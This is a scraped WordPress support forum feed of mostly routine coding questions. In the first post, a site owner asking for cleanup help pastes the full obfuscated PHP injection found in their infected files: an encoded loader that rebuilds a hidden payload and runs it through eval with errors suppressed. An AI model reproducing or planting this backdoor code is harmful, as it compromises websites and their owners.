Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

interscrilla on "All wordpress sites are down"

$
0
0

Hi, All my wordpress sites are down. I'm using bluehost as my hosting provider.

I called blue host tech support and find out that almost every .php file in every wordpress installation is infected with this following or similar code.

(-------Start------ )<?php $sozfhecwsc = '25o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]yY#-#D#-#W#-#C#-#O#-#N#*%fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5p%x61"])))) { $GLOBALS["%x61%15!gj!<*2bd%x5c%x7825-#1GO5)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*12787f!~!<##!>!2p%x5c%x7825Z<fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x78]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c69%164%50%x22%134%x78%6x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860x7824]y8%x5c%x7824-%x5c%x7824]26%5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%!*#opo#>>}R;msv}.;%x5c%xq%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x2%x35%165%x3a%146%x21%76%x25c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]775c%x785c1^W%x5c%x7825c!>!%x]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%xC%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257(ord($n)-1);} @error_reporting(0); pre3]364]6]283]427]36]373P6]36]73]83]238M7]c]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%1%x72%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%1[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x76g]273]y76]271]y7d]252]y74]2;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x7x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#if((function_exists("%x6f%142%x5f%163%x74%141%x72%c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%78{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;37825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XA:>:8:|:7#6#)tutjyf%x5c%x7860c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7887f%x5c%x787f%x5c%x787f<u%x5c%x52]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48udovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gp%x7825ww2!>#p#%x5c%x782f#p5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860uf63%x74%162%x5f%163%x70%154%x}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x56]277]y72]265]y39]271]y83]256]y78]248]y83]25T-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qt3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x78#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x782%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4)ujojR%x5c%x7827id%x5c%x78256<%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f%x5c%x7824%x5c%x785c%x5c%x7825j^%x5cx7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x782-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x782]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }x787fw6*%x5c%x787f_*x5c%x7825%x5c%x7827jsv%x5c%x78-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<1256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y7]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>439275ttfsqnpdov{h19275j{hnpd1927582f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]Kg}{;#)tutjyf%x5c%x7860opj164") && (!isset($GLOBALS["%x61%156%x75%156%x5c%x7827rfs%x5c%x7825bz)%x5c%x7824]25%x5c1%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3fopo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsb%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x558]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785c;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56822)!gj}1~!<2p%x5c%x7825%x5c%x7x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-g_replace("%x2f%50%x2e782f#%x5c%x782f#%x5c%x782f},;#-7fw6*%x5c%x787f_*#ujojRk3%x5c%x7x5c%x7824-%x5c%x7824<%x5c%60SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x78mtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kr%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78%x5c%x785c%x5c%x7825j:^*111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<pde:4:|:**#ppde#)tutjyf%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%#00#W~!Ydrr)%x5c%x78252^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:6~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoo%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860Gnui}&;zepc}A;~!}%x5c%x787f;!|!7Y%x5c%x78256<.msv%x5c%x7860ftsbqA5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x782]y31]278]y3f]51L3]84]y31M6]y3%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#25!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x78)%x5c%x7825c*W%x5c%x7825eN+#Qi%xc}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{5]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<hc%x7825-*.%x5c%x7825)euhA)2]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7*%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<gj6<*id%x5c%x7825)ftpmdR6<*id%52%x29%57%x65","%x65%166%x61%154%x28%pz)#]341]88M4P8]37]278]225]241]334]368]322]^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)>#]D6]281L1#%x5c%x7825c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuop5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5hA%x5c%x7827pd%x5c%x78256<pd%x825!)!gj!<2,*j%x5c%x7825!-]271]y7d]252]y74]256]y39]252)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!f<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-b6767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upco6]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y3x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7%x7825>U<#16,47R57,27R66,#%x5c%x782f#@#%x5c%x782fqp%x56%x75%156%x61"]=1; function fjfgg($n){return chr256<C>^#zsfvr#%x5c%x785cq860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#0]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yyR25,d7R17,67R37,#%x5c%x782fq%x5cpdXA%x5c%x7822)7gj6<*QDUx5c%x7825)Rd%x5c%x7825)Rb%x5c]275L3]248L3P6L1M5]D2P4]D6#>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfwx7860QUUI&e_SEEB%x5c%x25=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]55cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%xtn+qsvmt+fmhpph#)zbssb!-#}#)AZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,4781]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bss82f20QUUI7jsv%x5c%x78257UFH##)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x78%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x50#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!]y85]256]y6g]257]y86]267]y74]27y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]5625%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!]277#<%x5c%x7825t2w>#]y74]273]y76]252x7825ggg!>!#]y81]273]y76]258]y>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x!*uyfu%x5c%x7827k:!f860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L67f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#5c%x787fw6*%x5c%x787f_*#fmx5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%151%x6d%160%x6c%157%x64%145%x28%14jgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bc%x7825z-#:#*%x5c%x7824]32M3]317]445]212]445]43]321]464]284]364]6]234]342]sboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x7#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%xx7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%d!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7x5c%x787f;!osvufs}w;*%x5r.985:52985-t.98]K4]65]D8]86x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x78B)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%xfopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x78y39]274]y85]273]y6g]273]y76%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x78255c%x7825w:!>!%x5c%x7824bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~24-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7ubE{h%x5c%x7825)sutcvt-#w78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW7827doj%x5c%x78256<%xfr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7872!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#}+;%x5c%x7825-qp%x5c%x7#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudov78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x7381]211M5]67]452]88]5]481]53]y6d]281]y43]78]y33]65]y31]55]y85]8-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*q%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%xs)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7824-%x5c%x7824gps)%x5c%tmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*/(.*)/epreg_replacexcnseyraii'; $booikrxjbm = explode(chr((241-197)),'1554,50,3622,43,132,30,6651,48,1171,38,4040,22,5672,38,8172,34,1300,69,2216,28,510,23,847,27,3708,39,1069,36,9034,23,6341,42,4478,60,533,48,6117,30,6050,67,9430,38,5602,41,5472,65,4401,54,1105,66,1450,45,7406,28,3665,23,4602,58,6923,24,4724,52,8846,41,4840,54,186,57,327,52,7145,59,3152,30,6699,25,9892,37,2973,60,4806,34,9177,57,7890,45,9583,41,9313,21,8081,26,8206,65,5643,29,243,58,9752,55,2717,38,4093,32,6724,57,3132,20,5999,51,2156,60,742,45,787,60,614,61,8694,24,9534,49,3597,25,1925,59,5290,60,6551,46,6147,26,8482,42,9377,53,9057,69,6281,60,9234,25,7434,39,2663,54,3182,46,7825,45,2111,45,8639,55,3957,31,301,26,5753,65,162,24,7517,41,5221,26,2474,67,2755,61,7204,63,6625,26,1786,64,4974,55,6433,70,7267,28,8524,60,5905,39,6947,29,4923,51,6201,45,7054,22,6383,50,4151,67,8031,50,3747,47,9807,51,7935,43,7870,20,9998,65,675,24,4062,31,9468,24,2869,68,3895,62,1757,29,3384,34,91,41,4455,23,8968,66,5944,55,9624,65,1850,31,1700,57,7295,43,6891,32,6597,28,5839,66,8887,54,1648,52,699,43,4776,30,2244,52,3517,37,2816,53,8746,54,5061,48,8941,27,6173,28,379,68,3271,51,7758,37,7592,31,5173,48,3322,62,4660,64,9334,43,2541,59,7076,69,1881,44,7623,58,5247,43,9929,47,0,67,7338,68,3688,20,5537,65,2937,36,447,63,3794,46,8341,23,3033,43,7681,41,581,33,4125,26,3988,52,7473,44,9976,22,8800,46,9126,51,5350,57,932,58,3477,40,7003,51,5029,32,1042,27,874,58,4538,22,4316,62,9259,54,10063,43,1369,53,6781,42,7558,34,2600,63,3554,43,5407,65,8718,28,4894,29,990,52,6823,68,5818,21,7978,53,1984,36,6976,27,4270,46,1249,51,8271,70,2404,70,5710,43,1209,40,9689,24,8364,51,3840,55,8415,67,3418,59,5109,64,7722,36,6246,35,4218,52,4560,42,4378,23,2020,65,9858,34,2085,26,9492,42,2296,64,1604,44,8584,55,1495,59,67,24,8107,65,7795,30,1422,28,3228,43,2360,44,6503,48,9713,39,3076,56'); $welsbppdsb=substr($sozfhecwsc,(59374-49268),(48-41)); if (!function_exists('hwzhjnsmxo')) { function hwzhjnsmxo($bdmhuroaha, $pwgzkdupak) { $vsldamjwbd = NULL; for($ihxyekzxij=0;$ihxyekzxij<(sizeof($bdmhuroaha)/2);$ihxyekzxij++) { $vsldamjwbd .= substr($pwgzkdupak, $bdmhuroaha[($ihxyekzxij*2)],$bdmhuroaha[($ihxyekzxij*2)+1]); } return $vsldamjwbd; };} $bsjzdbvpbf="\x20\57\x2a\40\x6c\150\x6f\151\x6d\162\x69\152\x6a\141\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\64\x33\55\x32\60\x36\51\x29\54\x20\143\x68\162\x28\50\x35\67\x39\55\x34\70\x37\51\x29\54\x20\150\x77\172\x68\152\x6e\163\x6d\170\x6f\50\x24\142\x6f\157\x69\153\x72\170\x6a\142\x6d\54\x24\163\x6f\172\x66\150\x65\143\x77\163\x63\51\x29\51\x3b\40\x2f\52\x20\143\x63\167\x61\146\x67\150\x6a\164\x73\40\x2a\57\x20"; $kfqlzdmsry=substr($sozfhecwsc,(62349-52236),(55-43)); $kfqlzdmsry($welsbppdsb, $bsjzdbvpbf, NULL); $kfqlzdmsry=$bsjzdbvpbf; $kfqlzdmsry=(427-306); $sozfhecwsc=$kfqlzdmsry-1; ?><?php (-------end------ )

Please guide, if anything can be done to fix this issue?.

Thanks


Pete on "How to rename the admin sub menu name of a custom post 'category' or 'tag'"

$
0
0

I have a custom post type called Suburbs. It appears in the admin menu. like a normal post there are 4 sub menus...
1. Suburbs
2. Add new
3. Categories
4. Tags

I want to rename the 'Categories' and/or the 'Tags' sub menu. I have this code but I can't figure out how to adapt it to a CT or the Category/Tag sub menus?

function wptutsplus_change_post_menu_label() {
    global $menu;
    global $submenu;
    $menu[5][0] = 'News';
    $submenu['edit.php'][5][0] = 'News Items';
    $submenu['edit.php'][10][0] = 'Add News Item';
}
add_action( 'admin_menu', 'wptutsplus_change_post_menu_label' );

Pete on "How to hide quick edit link except for admins"

$
0
0

How would this be edited to not apply to admins?

function remove_quick_edit( $actions ) {
unset($actions['inline hide-if-no-js']);
return $actions;
}
add_filter('post_row_actions','remove_quick_edit',10,1);

Thanks

opentechschool on "Parsing excerpt text"

$
0
0

Hi,

I'm currently writing a plugin similar to OSM Categories to embed a map. Users specify locations on their posts, and then markers are generated on the map and filtered by post category.

Each marker has a popup that includes the post's excerpt. I'm having difficulty, however, parsing the excerpt returned - when a line break is included in the excerpt, the map breaks with the error message Uncaught SyntaxError: Unexpected token ILLEGAL .

$find_text = array("'",' />',';','<br />');
$replace_text = array("\'",'>','','');
$post_excerpt = str_replace($find_text,$replace_text,get_the_excerpt());
$show_excerpt_markup = ($show_excerpt)?"<p><small>".$post_excerpt."</small></p>":"";

echo "popupContentHTML = '".$show_thumbnail_markup.$show_title_markup.$show_excerpt_markup."';";
echo "var new_marker = addMarker(ll, popupContentHTML, layer);";

I parse the excerpt for characters that break the code in str_replace - which works for single quotes - but when I try to replace the br line break, the map still breaks. And the Syntax error only displays the echoed text up to the point at which it breaks, so I'm not sure if I'm replacing the correct characters. An example of excerpt text with one line break that returns an error after ">":

<img class="aligncenter size-full wp-image-1331" src="http://mappingthecommons.org/wp-content/uploads/2014/06/unGuide_documentation-25.jpg" alt="Primi sistemi di allarme" width="640" height="425">

Originariamente non esistevano sistemi d'allarme a Matera nonostante l'evidente esposizione al pericolo di alluvioni improvvise...

I'm also wondering if this could be a characteristic of the excerpt text itself? Please let me know if this is clear. I'll leave the page with the error message up temporarily here: http://mappingthecommons.org/mappa.

Thank you!

killedbymonkeys on "Customize | Posts > Add new posts > add media"

$
0
0

Hello,

i want to add some stuff to the panel at Posts > Add new posts > add media but i just can't find the right hooks or anything about this panel. Can someone point me to the right documentation or knows something.

you can check the img of the area i mean under this link (marked in red):
http://killedbymonkeys.ddnsking.com/wmf/wordpress/wp_custom.png

Greetings
killedbymonkeys

aliarsh on "how to Permissions access user not login?"

$
0
0

how to redirect all non-authenticated users only for link more content and single page website?

for all page website

function protect_whole_site() {
    if ( !is_user_logged_in() ) {
        auth_redirect();
    }
}

add_action ('template_redirect', 'protect_whole_site');

change on functions.php.That's not nice.
Help me please.
Any help would be appreciated! Thanks!

everyeurocounts on "Admin submenus add taxonomy page"

$
0
0

how can i add a taxonomy page to a admin menu?

I am able to move the custom post type into a submenu ok but can't seem to add the taxonomy.

Pete on "REGEX Regular Expression"

$
0
0

I'm trying to figure out how i can use one or more regular expressions to format a random $ number with 6-7 digits..
e.g.

$606782 -> $606 782
$300000 -> $300 000
$1237339 -> $1 237 339


iwt on "error after update : Warning: Missing argument 2 for wpdb::prepare()"

$
0
0

I update the WP version, and I am getting this error on top of the site and the admin section.

Warning: Missing argument 2 for wpdb::prepare(), called in /home/content/65/6388800/html/domain/cms/wp-content/themes/cts/includes/widget_areas.php on line 154 and defined in /home/content/65/6388800/html/domain/cms/wp-includes/wp-db.php on line 1147

> this I have in the file on line widget_areas.php

/**
 * Register all custom sidebars
 *
 * @author Ohad Raz
 * @return Void
 */
function register_theme_sidebars_dynamic(){
    global $wpdb;
	//post and pages sidebars
	$widgetized_pages = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT meta_value FROM $wpdb->postmeta WHERE meta_key = 'omc_page_sidebar'"));

	if($widgetized_pages){
	    foreach($widgetized_pages as $w_page){
	        $widget_id = strtolower(str_replace(' ', '_', $w_page));
	        register_sidebar(array(
	            'name' => $w_page,
	            'id'   => 'jw_widgetsection_'.$widget_id,
	            'description'   => '',
	            'before_widget' => '<li id="%1$s" class="omc-widget %2$s">',
	            'after_widget' => '',
	            'before_title' => '<h3 class="widgettitle"><span>',
	            'after_title' => '</span></h3>'
	        ));
	     }// For each
	}//End If

> and bellow from wp-db.php

function prepare( $query, $args ) {
		if ( is_null( $query ) )
			return;

		// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
		if ( strpos( $query, '%' ) === false ) {
			_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9' );
		}

		$args = func_get_args();
		array_shift( $args );
		// If args were passed as an array (as in vsprintf), move them up
		if ( isset( $args[0] ) && is_array($args[0]) )
			$args = $args[0];
		$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
		$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
		$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
		$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
		array_walk( $args, array( $this, 'escape_by_ref' ) );
		return @vsprintf( $query, $args );
	}

[Moderator Note: Please post code & markup between backticks or use the code button. Your posted code may now have been damaged by the forum's parser.]

<< Can anyone help?

Thanks in advance.

Luke Janicke on "Check my wp_mail() code? For a lite edit flow notifications plugin. (Github)"

Luke Janicke on "“publish_post” action hook shouldn’t be depreciated! Why is it?"

$
0
0

On the Action Reference page, publish_post is listed as depreciated. Likewise on the publish_post page itself. It is said to have been depreciated since Version 2.3.

However...

On the new Post Status Transitions page there are three NEW kinds of action hooks.

  1. {$old_status}_to_{$new_status} (using the statuses below)
  2. transition_post_status (a generic action hook that fires on every transition)
  3. status_object (e.g. publish_post)

Statuses

  • new
  • publish
  • pending
  • draft
  • auto-draft
  • future
  • private
  • inherit
  • trash

So, according to all this publish_post should still be a legitimate action hook!

I want to use it! In fact, I also want to use pending_post and future_post.

If I don’t use these, I have to use multiple action hooks to accommodate every possible $old_status that a post may come from. publish_post is a useful action hook that fires every time a post status is changed to publish, irrespective on whether it was previously new, draft, auto_draft, pending, or future.

What’s the deal?

qubed on "Help Hiding Dashboard and Product Page Elements"

$
0
0

Hello all,

I am currently need of support to use css to hide certain elements and third party plugins from appearing my my vendor's dashboard as well as on their product page.

The elements I am trying to hide have a red square by them: http://imgur.com/a/enMTq

The plugins that are appearing in the vendor's product page are the NextGen FB plugin, Revolution Slider plugin, HTTPS plugin and in the dashboard I'd like to hide the WooCommerce Mail Chimp plugin specifically from having vendors able to see it.

Any help is appreciated.

Thank you,

qubed

ganeshkg007 on "Need help in WP Query"

$
0
0

This is the code for pulling 'event', which is a custom post type. I need to pull events only from specific category. Please modify the below code to get the events from only one specific event category. Thanks..

---------

$loop = new WP_Query( array(

'post_type' => 'event',

'posts_per_page' => 10,

'order' => 'DESC',

'orderby' => 'ID',

'meta_query' => array(

array(

'key' => 'event_is_expired',

'value' => 'expired',

'compare' => '!=',

),

array(

'key' => 'event_date',

'value' => date('Y-m-d'),

'compare' => '>',

),

),

mmx38 on "Call a function when post is updated!"

$
0
0

Hello!

I created a post (of custom type) and I want to update some of the details (eg the title). On the update I want to run a custom function to update a table outside wordpress. I do not know how to distinguish that the post is updated so I can run the function.

I know how to run a function when the post is created but not when it is updated..

Any suggestions?

Thanks in advance!

Ebrark on "Slider Showing Posts Instead of Pages"

$
0
0

Hello All,

I am trying to fix this bloody slider for someone and really dont know how to do it now . Any help would be appreciated . The slider basically shows posts on the homepage , instead of pages , below is the code of the widget :

<?php
// =============================== Any thing Slider - Widget ======================================
if(!class_exists('templ_anything_slider')){
class templ_anything_slider extends WP_Widget {
function templ_anything_slider() {
$widget_ops = array('classname' => 'widget anything_slider','description' => apply_filters('templ_anything_slider_widget_desc_filter','Any thing Slider Widget'));
$this->WP_Widget('anything_slider', apply_filters('templ_anything_slider_widget_title_filter','T → Any thing Slider'), $widget_ops);
}

function widget($args, $instance) {
// prints the widget
extract($args, EXTR_SKIP);
echo $before_widget;
$title = empty($instance['title']) ? '' : apply_filters('widget_title', $instance['title']);
$category = empty($instance['category']) ? '' : apply_filters('widget_category', $instance['category']);
$delay = empty($instance['delay']) ? '30' : apply_filters('widget_delay', $instance['delay']);
$animationTime = empty($instance['animationTime']) ? '600' : apply_filters('widget_animationTime', $instance['animationTime']);
$height = empty($instance['height']) ? '388' : apply_filters('widget_height', $instance['height']);
?>

<script type="text/javascript" src="<?php echo TT_WIDGET_JS_FOLDER_URL; ?>jquery_slider2.js"></script>
<script src="<?php echo TT_WIDGET_JS_FOLDER_URL; ?>jquery_slider2plus.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
var $anytsl = jQuery;
function formatText(index, panel) {
return index + "";
}
$anytsl(function () {

$anytsl('.tslider3').anythingSlider({
easing: "easeInOutExpo", // Anything other than "linear" or "swing" requires the easing plugin
autoPlay: true, // This turns off the entire FUNCTIONALY, not just if it starts running or not.
